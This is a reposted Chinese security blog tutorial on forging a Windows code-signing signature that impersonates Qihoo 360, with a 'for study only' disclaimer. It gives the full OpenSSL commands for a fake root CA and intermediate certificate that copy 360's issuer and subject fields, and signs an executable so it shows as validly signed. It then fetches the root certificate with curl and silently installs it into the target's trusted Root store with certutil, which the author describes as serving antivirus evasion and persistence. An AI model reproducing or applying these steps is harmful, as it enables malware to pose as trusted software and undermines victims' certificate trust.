真假美猴王之数字签名伪造

admin 2024年5月17日21:26:52评论5 views字数 3391阅读11分18秒阅读模式

免责声明

本公众号所发布的文章及工具只限交流学习,本公众号不承担任何责任!如有侵权,请告知我们立即删除。

收不到推送的小伙伴,记得星标公众号哦!

真假美猴王之数字签名伪造

导读:带各位伪造一个有效且逼真的PE数字签名。

0x00 前言

之前写了个数字签名移植的GUI工具:Sign-Sacker(签名掠夺者),由于代码是直接从exe中提取文件头信息(数字签名的信息)并写入到被签名的exe中去,所以只能导致exe从无到有,但该证书是无效的。因此本文准备带各位完整的伪造一个有效的数字签名。

0x01 工具准备

  1. OpenSSL:用于制作自签名证书,也是生成证书的主要工具。

    官网下载或其他软件环境自带(https://www.openssl.org/source/

  2. 数字签名工具专业版:亚信出品,用于为exe以正规方式签入数字签名。

    链接:https://res.trustasia.com/trustasia/media/signtools-v3.2.zip

我本地git软件自带了OpenSSL, 因此使用该环境。

真假美猴王之数字签名伪造

0x02 签名信息准备

提前确定我们需要伪造哪款软件的数字签名,本次演示以360安全卫士为例。

信息说明

360Safe.exe 软件签名信息如下:

sha1证书:

真假美猴王之数字签名伪造

sha256证书:

真假美猴王之数字签名伪造

伪造需要准备好一模一样的颁发者使用者,由于360为双签名文件,因此他的颁发者一个有 - 1,另一个没有。但是对于只有一个签名的exe是不会存在这种情况,例如火绒,伪造出的证书会完全无差别:

真假美猴王之数字签名伪造

本次展示使用签名工具自带的双签名模式,只伪造其中一个证书的,因此在颁发者处两个签名的是颁发者信息是一致的:

真假美猴王之数字签名伪造

信息整理

  • Common Name (CN): 通用名称或主机名,通常是证书所关联的域名或服务器名称。

  • Organizational Unit (OU): 组织单位,通常指证书持有者所属的部门、组或服务类型。

  • Organization (O): 组织,通常指证书持有者的公司或组织名称。

  • Country (C): 国家代码,用于表示证书发行者所在的国家。这是一个两个字母的国家/地区代码。

  • State or Province Name (S): 指的是所在地的省份或州的名字。

颁发者:

 CN = DigiCert Assured ID Code Signing CA-1 OU = www.digicert.com O = DigiCert Inc C = US

真假美猴王之数字签名伪造

使用者:

 CN = Beijing Qihu Technology Co., Ltd. O = Beijing Qihu Technology Co., Ltd. S = Beijing C = CN

真假美猴王之数字签名伪造

0x03 自签名证书制作

温馨提示:Windows下执行 OpenSSL 需要在openssl.exe目录下执行,且需要确定openssl.cnf 的具体位置,否则会报错。下面图片示例中均在Git自带OpenSSL根目录下执行,且 openssl.cnf 位于上级目录的 ssl 文件夹下。使用根证书(root.crt)作为自签名根证书的CA,并且要生成中间证书,需要使用自签名根证书的私钥(root.key)

1.编辑openssl.cnf文件

本次示例文件位置:ssl/openssl.cnf

真假美猴王之数字签名伪造

设置"basicConstraints"字段为CA:true,表示该证书可以用作CA签署其他证书。

为防止小伙伴们遗漏出错,可将所有该参数字段的FALSE都修改为TRUE。

真假美猴王之数字签名伪造

2.生成自签名根证书和私钥:

执行命令:

openssl req -new -x509 -sha256 -keyout root.key -out root.crt -days 365 -config ../ssl/openssl.cnf

命令解释:

根据指定的配置文件(openssl.cnf)生成一个新的自签名根证书(root.crt),并将对应的私钥保存在root.key文件中。该证书的有效期为365天,使用SHA256算法进行数字签名。

执行示例:

提示输入密码并记住,以及颁发者的相关信息,只填写有的信息,没有的不填。

真假美猴王之数字签名伪造

目录下会生成 root.crt 和 root.key 两个文件

真假美猴王之数字签名伪造

3.生成中间证书请求及中间密钥:

执行命令:

openssl req -new -sha256 -keyout intermediate.key -out intermediate.csr -config ../ssl/openssl.cnf

命令解释:

根据指定的配置文件(openssl.cnf),生成一对密钥和证书请求。私钥将保存在intermediate.key文件中,而证书请求则保存在intermediate.csr文件中。该命令生成的是中间证书请求,而不是直接生成中间证书。中间证书请求需要被发送给证书颁发机构(CA)进行签名,得到最终的中间证书。

执行示例:

根据提示输入密码并记住,以及使用者信息,仍然是只填写有的信息,没有的不填。图中箭头所指信息是一些可选的附加属性:挑战密码一般留空即可,Digicert 的证书请求流程中很少使用挑战密码。公司名称也是可选项,我在此处指定了企业名称。

真假美猴王之数字签名伪造

目录下会生成intermediate.csr, intermediate.key两个文件。

真假美猴王之数字签名伪造

4.使用根证书及其私钥对中间证书进行签名:

执行命令:

openssl x509 -req -in intermediate.csr -CA root.crt -CAkey root.key -CAcreateserial -out intermediate.crt -days 365 -sha256 -extensions v3_intermediate_ca

命令解释:

上述步骤提到中间证书请求需要被发送给证书颁发机构(CA)进行签名,得到最终的中间证书。该命令则是指定了根证书及其私钥来对中间证书请求进行签名,相当于伪装成CA机构,将请求交给自己生成的CA机构(根证书和密钥)来替代合法收费的CA机构。

执行示例:

运行将前面记住的 root.key 的密码输入即可

真假美猴王之数字签名伪造

目录下会生成intermediate.crt

真假美猴王之数字签名伪造

5.合并crt和key生成pfx

执行命令:

 openssl pkcs12 -export -in intermediate.crt -inkey intermediate.key -out 360.pfx

命令解释:

合并key和crt文件为一个pfx证书文件,从中间证书文件 ("intermediate.crt") 和对应的私钥文件 ("intermediate.key") 中创建一个 PFX 文件 ("360.pfx"),是为了导入到数字签名工具中使用。

执行示例:

将前面记住的 intermediate.key 的密码填入并会提示输入导出密码,如果怕搞混可将所有密码设为一致,演示中所有密码均为:langsa

真假美猴王之数字签名伪造

0x04 CA证书安装

双击打开,点击安装证书

真假美猴王之数字签名伪造

将证书安装到受信任的根证书颁发机构

真假美猴王之数字签名伪造

点击完成

真假美猴王之数字签名伪造

点击是即可安装成功

真假美猴王之数字签名伪造

0x05 证书导入

点击证书管理——>导入,选择文件,输入密码点击确定即可导入。

真假美猴王之数字签名伪造

导入成功,显示黑色即为正常,如下图:

真假美猴王之数字签名伪造

0x06 开始签名

添加签名规则,选中证书,点击确定。

真假美猴王之数字签名伪造

选中规则:

真假美猴王之数字签名伪造

添加文件后点击数字签名,选择双签名,应用模式。

真假美猴王之数字签名伪造

点击签名验证,应用模式,显示签名有效。

真假美猴王之数字签名伪造

0x07 对比效果

360safe.exe如下图:

真假美猴王之数字签名伪造

langsa-nc.exe如下图:

真假美猴王之数字签名伪造

根据对比只有签名日期不同,且均为有效。

0x08 痛点解决

如果对方机器没有安装根证书root.crt,exe会显示无法验证签名中的证书。

真假美猴王之数字签名伪造

毕竟CA是权威机构,无法做到联网有效。且仅作伪造思路说明,并非是要打CA的脸,也不可能做到。

那如果对方没有证书如何让对方打开时有效?

将证书传到网站,这里是用python3起了一个下载页。

 python -m http.server

下载证书到 C:WindowsTemp。

curl -o C:WindowsTemproot.crt http://127.0.0.1:8000/root.crt

真假美猴王之数字签名伪造

将证书静默安装到受信任颁发机构存储区。

certutil -addstore -f "Root" C:WindowsTemproot.crt

真假美猴王之数字签名伪造

执行完毕后则会使得数字签名正常,达到伪造目的。

真假美猴王之数字签名伪造

0x09 总结

本文主要带领各位了解数字签名完整制作与证书签名的过程,中间唯一绕不过就是CA,我们利用自制CA的操作来迷惑目标机器达到持久的存活,属于免杀或者权限维持的细微操作,仅供学习。

真假美猴王之数字签名伪造

原文始发于微信公众号(浪飒sec):真假美猴王之数字签名伪造

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月17日21:26:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   真假美猴王之数字签名伪造https://cn-sec.com/archives/2049224.html

发表评论

匿名网友 填写信息